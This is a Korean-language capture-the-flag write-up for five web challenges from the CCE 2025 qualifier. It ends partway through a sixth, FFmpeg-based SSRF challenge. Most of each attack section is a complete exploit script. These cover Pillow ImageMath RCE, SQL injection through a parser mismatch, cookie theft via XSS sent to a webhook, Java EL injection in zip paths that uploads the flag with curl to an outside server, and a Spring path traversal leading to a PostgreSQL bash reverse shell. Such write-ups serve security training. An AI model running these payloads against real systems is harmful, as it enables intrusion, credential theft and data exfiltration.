CCE 2025 Qual
CCE 2025 Qual
대회 일정
2025-08-16 09:00 ~ 2024-08-16 18:00
대회 후기
Writeup
Photo Editing
app/image_processor.py
# app/image_processor.py
import os
import uuid
from PIL import Image, ImageFilter, ImageOps, ImageMath, ImageEnhance
from app.utils import get_processed_images
def apply_transform(transform_name, filenames, user_uuid, options=None):
"""Apply a specific transformation to images and return PIL Image objects."""
images = get_processed_images(filenames, user_uuid)
if not images:
return []
if options is None:
options = {}
####################
### [** SKIP **] ###
####################
elif transform_name == 'custom_formula':
exp = options.get('expression')
if not exp:
raise ValueError("Custom formula requires an 'expression'.")
env = { fname: img for fname, img in zip(filenames, images) }
try:
result = ImageMath.eval(exp, env) # Vuln
return [result]
except Exception as e:
return [None]
else:
raise ValueError(f"Unknown transformation: {transform_name}")
이미지 변환 함수(apply_transform) 내 여러 종류의 변환 기능이 존재합니다. 여러 변환 타입 중 custom_formula
변환 기능 사용 시, ImageMath.eval(exp, env)
함수가 사용되는 것을 확인하였습니다.
ImageMath.eval()
메서드는 Pillow==10.0.0
라이브러리에 존재하는 함수로 확인되어 버전 취약점이 존재하는지 확인을 하였습니다.
CVE-2023-50447
https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-6182918
enviroment
변수 내 key 값으로 Magic Method를 포함하고, expression
변수에 os
모듈 로드 후 system()
함수를 통해 RCE가 가능합니다.
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
공격 방법
- 회원 가입 및 로그인을 수행합니다.
expression
에 사용되는 Magic Method (ex,__class__
) 이름을 갖는 이미지 파일을 업로드합니다.- 이미지 업로드 후, 이미지 변환 기능에서
transform_name=custom_formula
,expression=().__class__.__bases__[0].__subclasses__()[104].load_module('os').system(cmd)
파라미터 값을 전달하여 RCE를 수행합니다.
다만, 로컬에서 테스트 했을 때 리버스 쉘 연결이 정상적으로 수행되었지만, 원격으로 할 때는 리버스 쉘 연결이 되지 않아 __subclasses__()
의 인덱스 값을 Brute Force
했었습니다.
그럼에도 리버스 쉘 연결이 되지 않아 sleep 3
명령으로 RCE 동작 여부를 확인했습니다.
sleep 3
명령 실행 시, 응답이 3초 뒤에 반환되어 리버스 쉘 연결에만 이슈가 있는 것으로 확인되었습니다.
그리하여, 이미지가 업로드 되는 경로에 플래그 값을 포함한 파일을 쓰는 형태로 문제를 해결하였습니다.
Exploit Code
import requests
import random
import re
from io import BytesIO
from bs4 import BeautifulSoup
from PIL import Image, ImageMath
s = requests.Session()
URL = "http://3.38.167.161:5000"
def extract_csrf_token(text):
soup = BeautifulSoup(text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf_token"})["value"]
return csrf_token
r = s.get(f"{URL}/auth/register")
csrf_token = extract_csrf_token(r.text)
random_num = random.randint(1,9999)
data = {
"csrf_token": csrf_token,
"username": f"xxxxxx{random_num}",
"password": f"xxxxxx{random_num}",
"confirm": f"xxxxxx{random_num}",
"submit": "%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85"
}
r = s.post(
f"{URL}/auth/register",
data=data
)
print(r.status_code)
print("Register Success !")
r = s.get(f"{URL}/auth/login")
csrf_token = extract_csrf_token(r.text)
data["csrf_token"] = csrf_token
r = s.post(
f"{URL}/auth/login",
data={
"csrf_token": data["csrf_token"],
"username": data["username"],
"password": data["password"],
"submit": "%EB%A1%9C%EA%B7%B8%EC%9D%B8"
}
)
print(r.status_code)
print("Login Success !")
r = s.get(
f"{URL}/board/",
allow_redirects=False
)
board_id = r.headers["Location"][7:]
r = s.get(f"{URL}/board/{board_id}/create")
csrf_token = extract_csrf_token(r.text)
data["csrf_token"] = csrf_token
def dummy_image(name):
img = Image.new("RGB", (1, 1))
img_bytes = BytesIO()
img.save(img_bytes, format="JPEG")
img_bytes.seek(0)
return img_bytes
files = [
("csrf_token", (None, data["csrf_token"])),
("title", (None, "x")),
("content", (None, "x")),
("images", ("__bases__", dummy_image('__class__'), "image/jpeg")),
("images", ("__class__", dummy_image('__bases__'), "image/jpeg")),
("images", ("__subclasses__", dummy_image('__subclasses__'), "image/jpeg")),
("images", ("load_module", dummy_image('load_module'), "image/jpeg")),
("images", ("system", dummy_image('system'), "image/jpeg"))
]
r = s.post(
f"{URL}/board/{board_id}/create",
files=files
)
print(r.status_code)
print("File Upload Success !")
r = s.get(
f"{URL}/board/{board_id}"
)
pattern = re.compile(r'<a\s+href="([^"]+)">([^<]+)</a>')
post_id = pattern.findall(r.text)[0][0].split("/")[3]
print(f"POST ID: {post_id}")
r = s.post(
f"{URL}/board/{board_id}/transform/{post_id}",
data={
"post_id": post_id,
"filenames":["__bases__","__class__","__subclasses__","load_module","system"],
"transform_name":"custom_formula",
"rotate_angle":90,
"brightness_factor":1.5,
"expression":f"().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('cat /flag >/prob/static/uploads/board/{board_id}/t')"
}
)
print(r.status_code)
print("Transform Success !")
r = s.get(
f"{URL}/board/uploads/{board_id}/t"
)
print(f"FLAG: {r.text}")
Flag
cce2025{d4a146967dba7b62351d1669bbe56e21d6d9f1ac5a4820d7b5f26fc01bea0eac13859f206291512771f6ce8fc3246f97e6ecf3}
jsboard
app.js
const express = require("express");
const { spawn } = require("child_process");
const path = require("path");
const { Parser } = require("node-sql-parser");
const app = express();
const PORT = process.env.PORT || 3000;
/* SKIP */
const dbConfig = {
host: process.env.DB_HOST || "mysql",
user: process.env.DB_USER || "[**REDACTED**]",
password: process.env.DB_PASSWORD || "[**REDACTED**]",
database: process.env.DB_NAME || "board_db",
port: process.env.DB_PORT || 3306,
};
const parser = new Parser();
function executeQuery(query) {
return new Promise((resolve, reject) => {
const args = [
`-h${dbConfig.host}`,
`-P${dbConfig.port}`,
`-u${dbConfig.user}`,
`-p${dbConfig.password}`,
dbConfig.database,
"-e",
query,
"--batch",
"--ssl=0",
];
const mysqlProcess = spawn("mariadb", args);
let stdout = "";
let stderr = "";
mysqlProcess.stdout.on("data", (data) => {
stdout += data.toString();
});
mysqlProcess.stderr.on("data", (data) => {
stderr += data.toString();
});
mysqlProcess.on("close", (code) => {
/* SKIP */
console.log(stdout);
const lines = stdout.trim().split("\n");
if (lines.length <= 1) {
resolve([]);
return;
}
const headers = lines[0].split("\t");
const results = [];
for (let i = 1; i < lines.length; i++) {
const values = lines[i].split("\t");
const row = {};
headers.forEach((header, index) => {
row[header] = values[index];
});
results.push(row);
}
resolve(results);
});
mysqlProcess.on("error", (error) => {
console.error("Process error:", error);
reject(error);
});
});
}
app.get("/", (req, res) => {
const column = req.query.column || "created_at";
let direction = req.query.direction || "DESC";
if (direction !== "ASC" && direction !== "DESC") {
direction = "DESC";
}
const query = `SELECT id, title, author, created_at FROM posts ORDER BY ${column} ${direction}`;
if (query.includes("!")) {
return res.status(400).render("error", { message: "Invalid query." });
}
try {
const ast = parser.astify(query);
if (typeof ast !== "object") {
throw new Error("Invalid query.");
}
if (!ast || ast.type !== "select") {
throw new Error("Invalid query.");
}
const allowedAstKeys = [
"with",
"type",
"options",
"distinct",
"columns",
"into",
"from",
"where",
"groupby",
"having",
"orderby",
"limit",
"locking_read",
"window",
"collate",
];
const astKeys = Object.keys(ast);
for (const key of astKeys) {
if (!allowedAstKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
const allowedColumns = ["id", "title", "author", "created_at"];
const selectedColumns = ast.columns.map((col) => col.expr.column);
for (const col of selectedColumns) {
if (!allowedColumns.includes(col)) {
throw new Error("Invalid query.");
}
}
if (ast.from && ast.from.length > 0) {
const tableName = ast.from[0].table;
if (tableName !== "posts") {
throw new Error("Invalid query.");
}
}
if (ast.orderby && ast.orderby.length > 0) {
for (const order of ast.orderby) {
if (order.expr.type != "column_ref") {
throw new Error("Invalid query.");
}
if (order.expr.table !== null) {
throw new Error("Invalid query.");
}
if (order.expr.collate !== null) {
throw new Error("Invalid query.");
}
if (order.type !== "ASC" && order.type !== "DESC") {
throw new Error("Invalid query.");
}
const allowedKeys = ["expr", "type"];
const orderKeys = Object.keys(order);
for (const key of orderKeys) {
if (!allowedKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
const allowedExprKeys = ["type", "table", "column", "collate"];
const exprKeys = Object.keys(order.expr);
for (const key of exprKeys) {
if (!allowedExprKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
}
}
if (ast.orderby && ast.orderby.length !== 1) {
throw new Error("Invalid query.");
}
if (
ast.with !== null ||
ast.options !== null ||
ast.distinct !== null ||
ast.where !== null ||
ast.groupby !== null ||
ast.having !== null ||
ast.limit !== null ||
ast.locking_read !== null ||
ast.window !== null ||
ast.collate !== null
) {
throw new Error("Invalid query.");
}
if (ast.into.position !== null) {
throw new Error("Invalid query.");
}
if (ast.into) {
const allowedIntoKeys = ["position"];
const intoKeys = Object.keys(ast.into);
for (const key of intoKeys) {
if (!allowedIntoKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
}
} catch (error) {
console.error("SQL parsing error:", error.message);
return res.status(400).render("error", { message: error.message });
}
executeQuery(query)
.then((rows) => {
res.render("index", {
posts: rows,
currentColumn: column,
currentDirection: direction,
});
})
.catch((error) => {
console.error("Database error:", error);
return res
.status(500)
.render("error", { message: "Server error occurred." });
});
});
SELECT id, title, author, created_at FROM posts ORDER BY ${column} ${direction}
쿼리문에서 column
파라미터에 ASC--
를 입력했을 때, SQL Injection이 가능한 것을 확인하였습니다.
다만, node-sql-parser
라이브러리를 통해 SQL 쿼리문을 파싱한 후, 허용된 SQL 구문, Column 값 등 검증 과정을 거칩니다. 이후, 검증이 모두 완료되면 executeQuery(query)
함수를 실행하여 쿼리문을 실행합니다.
하지만, SQL 파싱 로직과 쿼리문을 실행하는 로직에서 처리하는 방법이 달라 우회가 발생합니다.
created_at ASC--; xxxxx--
쿼리문을 전달하게 되면, created_at ASC--;
해당 부분까지 파싱되고, xxxxx
부분은 SQL 구문 검증을 수행하지 않습니다. 또한, executeQuery(query)
함수는 spawn()
함수를 사용해 스트림 방식으로 쿼리문을 처리하여 이후 원하는 쿼리문을 실행시킬 수 있게 되는 문제가 발생합니다.
Exploit Code
import requests
import re
URL = "http://3.34.254.202"
column = "created_at ASC--; select flag from flag--"
r = requests.get(
f"{URL}/?column={column}&direction=DESC"
)
print(r.status_code)
flag_extract_pattern = "cce2025{.*}"
flag = re.findall(flag_extract_pattern, r.text)[0].strip()
print(f"FLAG: {flag}")
Flag
cce2025{5e1ce3d915a4b59c3de715572da7cb4d}
Memopad
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
CSP 정책이 걸려있고, 메모를 작성할 수 있는 기능이 존재합니다.
script-src 'self'
정책은 모든 스크립트 구문 포함 시, 동일한 Origin만 불러올 수 있고, 외부 JS 파일은 차단합니다. 하지만, 메모 기능을 사용하여 우회가 가능합니다.
메모 내용에 alert(1)
와 같이 원하는 JS 코드를 포함하여 메모를 등록합니다.
이후, JS 구문을 포함하는 메모의 Key 값을 다음과 같이 포함합니다.
<script src="/api.php?key=key"></script>
스크립트 구문을 포함하여 메모를 등록하게 되면, JS 코드가 포함된 메모 내용을 가져와 스크립트가 실행됩니다.
이후, 봇이 해당 페이지에 방문하도록 해야합니다. 하지만, 봇은 http://web/
도메인으로 시작하는 페이지만 방문하도록 동작합니다.
하지만, 메모 서비스는 URL의 마지막 부분이 .css, .js로 끝나게 될 경우, X-Cache-Status: HIT
응답 헤더를 반환합니다. 또한, 잘못된 캐시 설정에 의해 Cache Poisoning 취약점이 발생합니다.
즉, /api.php?key=key&x=x.js
요청을 통해 응답을 캐시시켜 봇이 스크립트가 포함된 페이지에 방문하도록 할 수 있게 됩니다.
Exploit Code
// [Key] 9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af
// [Memo]
location.href="https://webhook.site/6aa26b59-2090-4d7f-9996-c4ea27bf53ef/?x="+document.cookie;
// [Key] 6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1
// [Memo]
<script src="/api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af&x=x.js"></script>
[First Request]
GET /api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close
[Second Request]
```http
GET /api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1 HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close
[Bot] (3.38.196.32:8081)
http://web/api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1
Flag
cce2025{4bb895b6f10b34628d1d31d97acb}
Extract Service
com/cce2025/extractservice/storage/controller/StorageController.java
@Controller
@RequestMapping({"/storage"})
public class StorageController {
private final AuthService authService;
private final StorageService storageService;
private final Validator validator;
/* SKIP */
@PostMapping({"/upload"})
public String upload(@AuthenticationPrincipal User user, @RequestParam("file") MultipartFile file) {
if (user != null) {
if (file.isEmpty()) {
return "redirect:/storage";
} else {
UserEntity currentUserInfo = this.authService.getUserByUserId(user.getUsername());
this.storageService.createStorage(currentUserInfo.getUserId(), file);
return "redirect:/auth/myinfo";
}
} else {
return "redirect:/auth/logout";
}
}
@GetMapping({"/unzip/{storage_uid}"})
public String unzipStorage(@AuthenticationPrincipal User user, @PathVariable("storage_uid") String storageUid) throws IOException {
if (user != null) {
try {
StorageEntity userStorageInfo = this.storageService.getStorageByStorageId(storageUid);
if (userStorageInfo == null) {
return "redirect:/auth/myinfo?msg=invalid%20storage%20id";
} else if (Boolean.TRUE.equals(userStorageInfo.getDownloadCheck())) {
return "redirect:/auth/myinfo?msg=already%20downloaded";
} else {
boolean unzipResult = this.storageService.unzipUploadedFile(userStorageInfo.getFilePath() + "/" + userStorageInfo.getFileName(), storageUid);
if (!unzipResult) {
return "redirect:/auth/myinfo?msg=invalid%20zip%20file";
} else {
Path path = Paths.get(userStorageInfo.getFilePath()).normalize();
ExtractWrapper wrapper = new ExtractWrapper(new PathWrapper(path));
Set<ConstraintViolation<ExtractWrapper>> violations = this.validator.validate(wrapper, new Class[0]);
if (!violations.isEmpty()) {
FileListInStorage.deleteDirectory(path);
return "redirect:/auth/myinfo?msg=invalid%20zip%20file";
} else {
return "redirect:/storage/view/" + storageUid;
}
}
}
} catch (Exception var8) {
return "redirect:/auth/myinfo?msg=invalid%20storage%20id";
}
} else {
return "redirect:/auth/logout";
}
}
서비스에 ZIP 파일 업로드 기능과 파일 압축 해제 기능이 존재합니다.
com/cce2025/extractservice/commons/utils/FileUploadUtils.java
public class FileUploadUtils {
private static final String ALLOWED_EXTENSION = "zip";
private static final String ALLOWED_MIME_TYPE = "application/zip";
public boolean checkFileExtensionByWhitelist(String filename) {
String extension = filename.substring(filename.lastIndexOf(".") + 1);
return "zip".equalsIgnoreCase(extension);
}
public boolean checkFileMimeTypeByWhitelist(String mimeType) {
if (mimeType == null) {
return false;
} else {
mimeType = mimeType.toLowerCase();
return mimeType.equalsIgnoreCase("application/zip");
}
}
public String getSecureFilename(String originalFilename, String timestamp) {
try {
if (originalFilename == null) {
throw new Exception("ERROR");
} else {
String extension = originalFilename.substring(originalFilename.lastIndexOf(".") + 1);
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] passBytes = (originalFilename + timestamp).getBytes();
md.reset();
byte[] digested = md.digest(passBytes);
StringBuilder sb = new StringBuilder();
byte[] var8 = digested;
int var9 = digested.length;
for(int var10 = 0; var10 < var9; ++var10) {
byte b = var8[var10];
sb.append(Integer.toString((b & 255) + 256, 16).substring(1));
}
String var10000 = sb.toString();
return var10000 + "." + extension;
}
} catch (Exception var12) {
return null;
}
}
}
파일 업로드 시, Content-Type
검증과 .zip
확장자 검증을 수행합니다.
널바이트(\x00
) 삽입, 2개 파일 업로드, Race Condition 등을 통한 확장자 검증 우회 등을 시도하였지만, 확장자 우회가 발생하지 않았습니다.
com/cce2025/extractservice/common/validation/UnzipDirectoryValidator.java
@Component
public class UnzipDirectoryValidator implements ConstraintValidator<UnzipDirectoryIsValid, PathWrapper> {
@Autowired
private LocalizedMessageBuilder localizedMessageBuilder;
private static final int MAX_DIRECTORY_DEPTH = 20;
public boolean isValid(PathWrapper dirPath, ConstraintValidatorContext context) {
if (dirPath != null && dirPath.getPath() != null && Files.isDirectory(dirPath.getPath(), new LinkOption[0])) {
Path unzipDir = dirPath.getPath();
try {
Stream stream = Files.list(unzipDir);
boolean var22;
label72: {
boolean var13;
label73: {
try {
List<Path> topLevelDirs = (List)stream.filter((x$0) -> {
return Files.isDirectory(x$0, new LinkOption[0]);
}).collect(Collectors.toList());
if (topLevelDirs.size() != 1) {
String msg = this.localizedMessageBuilder.getLocalizedMessage("extract.toplevel.dir.invalid", new Object[]{topLevelDirs.size()});
ExpressionFactory factory = ExpressionFactory.newInstance();
ELContext elContext = new StandardELContext(factory);
Object result = factory.createValueExpression(elContext, msg, Object.class).getValue(elContext);
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(result.toString()).addConstraintViolation();
var22 = false;
break label72;
}
Path singleTopLevelDir = (Path)topLevelDirs.get(0);
Path deepestDir = this.getDeepestDirectoryPath(singleTopLevelDir, 1);
int depth = singleTopLevelDir.relativize(deepestDir).getNameCount() + 1;
if (depth > 20) {
String msg = this.localizedMessageBuilder.getLocalizedMessage("extract.depth.exceeded", new Object[]{deepestDir.toString(), 20});
ExpressionFactory factory = ExpressionFactory.newInstance();
ELContext elContext = new StandardELContext(factory);
Object result = factory.createValueExpression(elContext, msg, Object.class).getValue(elContext);
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(result.toString()).addConstraintViolation();
var13 = false;
break label73;
}
} catch (Throwable var15) {
/* SKIP */
}
/* SKIP */
return var22;
} catch (IOException var16) {
return false;
} catch (Exception var17) {
return false;
}
} else {
return false;
}
}
private Path getDeepestDirectoryPath(Path root, int currentDepth) throws IOException {
final Path[] deepest = new Path[]{root};
final int[] maxDepth = new int[]{currentDepth};
Files.walkFileTree(root, new SimpleFileVisitor<Path>() {
public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
int depth = root.relativize(dir).getNameCount() + 1;
if (depth > maxDepth[0]) {
maxDepth[0] = depth;
deepest[0] = dir;
}
return FileVisitResult.CONTINUE;
}
});
return deepest[0];
}
}
ZIP 파일 압축 해제 요청 시, 검증 로직에서 두 가지 경우에 오류가 발생합니다.
- 압축 해제 시, 최상위 디렉터리가 1개가 아닐 경우, 오류가 발생하며 디렉터리 개수 정보가 반환됩니다.
- 하위 디렉터리가 20개 이상인 경우, 오류가 발생하며 마지막 디렉터리 명이 반환됩니다.
반환된 값이 포함된 커스텀 오류 메세지는 buildConstraintViolationWithTemplate()
메소드에 전달됩니다.
즉, 20번 째 하위 디렉터리 명에 ${}
템플릿 구문을 삽입하여 SSTI 취약점을 발생시킬 수 있습니다.
공격 방법
- 회원 가입 및 로그인
- 20번째 하위 디렉터리 명에 템플릿 인젝션 구문을 포함하여 ZIP 파일 업로드
- ZIP 파일 압축 해제
Exploit Code
from requests import Session
import zipfile
import random
import os
import re
URL = "http://3.36.12.181"
SERVER_IP = "54.180.80.1"
SERVER_PORT = "8080"
s = Session()
data = {
"email": f"test{random.randint(10000,99999)}@gmail.com",
"password": f"test{random.randint(10000,99999)}",
"name": f"test{random.randint(10000,99999)}"
}
# Register
r = s.post(
f"{URL}/auth/register",
data=data,
allow_redirects=False
)
print(r.status_code)
print(r.headers)
# Login
if "success" in r.headers.get("Location"):
s.post(
f"{URL}/auth/login",
data={
"email": data["email"],
"password": data["password"]
},
allow_redirects=False
)
# Zip Upload
filename = "exploit.zip"
if os.path.exists(filename):
os.remove(filename)
try:
with zipfile.ZipFile(f"./{filename}", mode="w") as zf:
payload="${\"\".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -T"
payload += "/"
if SERVER_PORT == "80":
payload += f"flag {SERVER_IP}')}}"
else:
payload += f"flag {SERVER_IP}:{SERVER_PORT}')}}"
final_payload = f"1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/{payload}/"
print(f"Payload: {final_payload}")
print("Create Zip file!")
zf.writestr(f"{final_payload}", '')
except Exception as e:
print(e)
r = s.post(
f"{URL}/storage/upload",
files={
"file": (filename, open(filename, "rb"), "application/zip")
},
allow_redirects=False
)
r = s.get(
f"{URL}/auth/myinfo",
)
print(r.text)
uuid_extract_pattern = "[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}"
storage_id = re.findall(uuid_extract_pattern, r.text)[2].strip()
print(f"Storeage ID: {storage_id}")
r = s.get(
f"{URL}/storage/unzip/{storage_id}",
allow_redirects=False
)
print("Exploit Trigger!")
Flag
cce2025{353f1df0235ba7c3949322c4be3d98426b1778b79487cecbfd07dc73edb507e3f0002ea9248bfdfe8b90282528ac8a42391d959bf7e463211a7e8369}
Facility access reservation system
classpath.idx
- "BOOT-INF/lib/spring-webmvc-6.1.12.jar"
CVE-2024-38816
https://spring.io/security/cve-2024-38816
spring-webmvc-6.1.12
라이브러리의 경우, CVE-2024-38816 취약점이 존재합니다.
CVE-2024-38816 취약점이 발생하려면, 다음 조건을 만족해야 합니다.
- 웹 애플리케이션에서 정적 리소스를 제공하기 위해
RouterFunctions
를 사용합니다. - 리소스 핸들링은
FileSystemResource
를 사용하여 디렉터리 위치를 지정합니다. - 정적 리소스 디렉터리에
Symbolic links
가 걸려있습니다.
com/reservation/system/ReservationSystemApplication.java
@SpringBootApplication
public class ReservationSystemApplication {
/* SKIP */
@Bean
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
}
ReservationSystemApplication.java
파일을 보면, RouterFunctions
, FileSystemResource
를 사용하여 정적 리소스 경로를 지정합니다.
Dockerfile
RUN mkdir /app/static
RUN ln -s /dev_app/static /app/static/img
추가적으로, 도커 파일에서 /dev_app/static
와 /app/static/img
디렉터리 경로를 심볼릭 링크를 걸고 있습니다.
이로 인해, 사용자는 /static/img/%2e%2e/
경로 요청을 통해 프로젝트 .jar 최상위 디렉터리에 접근할 수 있게 됩니다.
spring-boot-starter-parent v3.3.3
Spring Boot v3.3.3 디렉터리 구조를 참고하여, application.yml
파일에 접근할 수 있습니다.
├── pom.xml ← parent로 등록된 POM
└── src/
├── main/
│ ├── java/
│ │ └── com/example/… ← 애플리케이션 소스
│ └── resources/
│ ├── application.yml ← 설정 파일 등
│ └── static/ ← 정적 리소스 (JS, CSS, 이미지 등)
└── test/
├── java/
│ └── com/example/… ← 테스트 코드
└── resources/
/static/img/%2e%2e/src/main/resources/application.yml
요청을 통해 application.yml
파일을 내용을 알아냅니다.
파일 내부에는 PostgreSQL 데이터베이스 명, 사용자, 패스워드 정보를 포함하고 있습니다.
spring:
application:
name: entry-reservation-system
datasource:
url: jdbc:postgresql://0.0.0.0:5432/reservation_db
username: reservation_user
password: \!@#rEserV@ti0n_pAssw0rd
driver-class-name: org.postgresql.Driver
jpa:
hibernate:
ddl-auto: create
show-sql: true
properties:
hibernate:
dialect: org.hibernate.dialect.PostgreSQLDialect
format_sql: true
web:
resources:
static-locations: classpath:/static/
server:
port: 8080
logging:
level:
com.reservation.system: DEBUG
org.springframework.web: DEBUG
org.hibernate.SQL: DEBUG
management:
endpoints:
web:
exposure:
include: health,info,metrics
PostgreSQL 데이터베이스가 0.0.0.0
로 설정되어 있어 사용자, 패스워드 정보를 활용해 외부에서 접근이 가능합니다.
이후, COPY ... TO PROGRAM
쿼리문을 사용하여 RCE가 가능합니다.
COPY table_name TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/[server]/[port] 0>&1\"'
Exploit Code
import requests
URL = "http://16.184.32.150"
# CVE-2024-38816
r = requests.get(
f"{URL}/static/img/%2e%2e/src/main/resources/application.yml"
)
print(r.status_code)
print(r.text)
"""
spring:
application:
name: entry-reservation-system
datasource:
url: jdbc:postgresql://0.0.0.0:5432/reservation_db
username: reservation_user
password: \!@#rEserV@ti0n_pAssw0rd
driver-class-name: org.postgresql.Driver
...
"""
import psycopg2
conn = psycopg2.connect(
host="16.184.32.150",
dbname="reservation_db",
user="reservation_user",
password="!@#rEserV@ti0n_pAssw0rd",
port=5432
)
cur = conn.cursor()
cur.execute("copy reservations TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/[server]/[port] 0>&1\"'")
print(cur.fetchone())
conn.close()
Flag
cce2025{b7ded3b5d27a6aa3943e39b917a8854375ae6d7359b53a59c4ac39c24b57dae1db4563cc487973e52093f052bb1ee91c4ff53116afe91ad9}
Minitalk
/apps/api/src/controllers/videoController.js
function getProtocols() {
const { stdout, error } = spawnSync('ffmpeg', ['-protocols']);
if (error) {
throw error;
}
return stdout
.toString()
.split('\n')
.slice(2)
.map(line => line.trim().split(/\s+/)[0])
.filter(proto => proto && proto !== 'concat')
.join(',');
}
const PROTOS = getProtocols();
/* SKIP */
exports.uploadVideo = async (req, res) => {
const { intro, isPrivate } = req.body;
const videoFile = req.file;
const uploadsDir = path.join(__dirname, '..', 'uploads');
if (!intro)
return res.status(400).json({ error: '동영상 한줄 소개가 필요합니다.' });
if (!videoFile)
return res.status(400).json({ error: '비디오 파일을 업로드하세요.' });
const inputPath = path.join(uploadsDir, videoFile.filename);
let fileContent;
try {
fileContent = fs.readFileSync(inputPath, { encoding: 'utf8' });
} catch (e) {
console.error('파일 읽기 실패', e);
fs.unlinkSync(inputPath);
return res.status(400).json({ error: '파일을 처리할 수 없습니다.' });
}
if (fileContent.includes('file') || fileContent.includes('subfile') || fileContent.includes('http') || fileContent.includes('https')) {
fs.unlinkSync(inputPath);
return res.status(400).json({ error: '잘못된 파일 내용이 포함되어 있습니다.' });
}
let record;
try {
record = await Video.create({
intro,
url: videoFile.filename,
isPrivate: isPrivate === 'true',
likes: 0,
comments: 0,
shares: 0,
userId: req.user.id
});
} catch (err) {
console.error(err);
fs.unlinkSync(inputPath);
return res.status(500).json({ error: '서버 오류' });
}
const hlsDir = path.join(uploadsDir, 'hls', String(record.id));
fs.mkdirSync(hlsDir, { recursive: true });
const outputPath = path.join(hlsDir, 'index.m3u8');
const ffmpeg = spawn('ffmpeg', [
'-protocol_whitelist', PROTOS,
'-i', inputPath,
'-map','0:v:0','-map','0:a:0',
'-c:v','libx264','-preset','ultrafast','-crf','23','-threads','0',
'-vf', 'crop=floor(iw/2)*2:floor(ih/2)*2,format=yuv420p',
'-g','300','-x264-params','scenecut=0',
'-c:a','copy',
'-start_number','0',
'-hls_time','10',
'-hls_list_size','0',
'-hls_flags','independent_segments',
'-hls_segment_filename', path.join(hlsDir,'segment_%03d.ts'),
outputPath
]);
const timeout = setTimeout(() => {
console.error('ffmpeg conversion timed out, killing process');
ffmpeg.kill('SIGKILL');
}, 15000);
ffmpeg.stderr.on('data', data => {
console.error(`ffmpeg stderr: ${data}`);
});
ffmpeg.on('close', async code => {
clearTimeout(timeout);
if (code !== 0) {
console.error(`ffmpeg exited with code ${code}`);
try { fs.unlinkSync(inputPath); } catch {}
try { fs.rmSync(hlsDir, { recursive: true, force: true }); } catch {}
try { await record.destroy(); } catch {}
return res.status(500).json({ error: '업로드를 실패했습니다.' });
}
try {
fs.unlinkSync(inputPath);
} catch (err) {
console.error('원본 업로드 파일 삭제 실패', err);
}
const base = `${req.protocol}://${req.get('host')}`;
const playlistUrl = `/hls/${record.id}/index.m3u8`;
res.json({
id: record.id,
intro: record.intro,
playlistUrl,
likes: record.likes,
comments: record.comments,
shares: record.shares
});
});
};
비디오 파일 업로드 시, FFmpeg을 실행시켜 HLS 스트리밍용 세그먼트(.ts)와 세그먼트 목록을 저장하는 파일(.m3u8)을 생성합니다.
(단, 비디오 파일 내용에 file
, subfile
, http
, https
값을 포함할 수 없으며, concat:
프로토콜을 사용할 수 없도록 필터링이 걸려있습니다.)
Minitalk 문제는 Tiktok에서 발생한 SSRF 사례를 기반으로 하고 있어 해당 사례를 먼저 살펴보겠습니다.
Tiktok SSRF
https://hackerone.com/reports/1062888
틱톡에서 발생한 SSRF 사례를 보면, 외부 서버에 header.m3u8 파일을 다음과 같이 저장합니다.
header.m3u8
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://yourserver.com?
Upload Video File (Tiktok)
이후, 비디오 파일 업로드 시 FFmpeg를 사용하여 HLS(HTTP Live Streaming)을 처리하는 방식으로 동작합니다.
해당 공격은 비디오 파일 내 외부 서버에 존재하는 header.m3u8 파일을 포함한 후, file:///etc/passwd
요청을 보냅니다.
이때, concat:
프로토콜에 의해 file:///etc/passwd
요청의 응답 값이 외부 서버에 전달되어 서버 내부 파일을 읽는 형태로 공격이 수행되었습니다.
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
Upload Video File (Minitalk)
실제 사례에서는 concat:
, http://
프로토콜을 사용하고 있습니다.
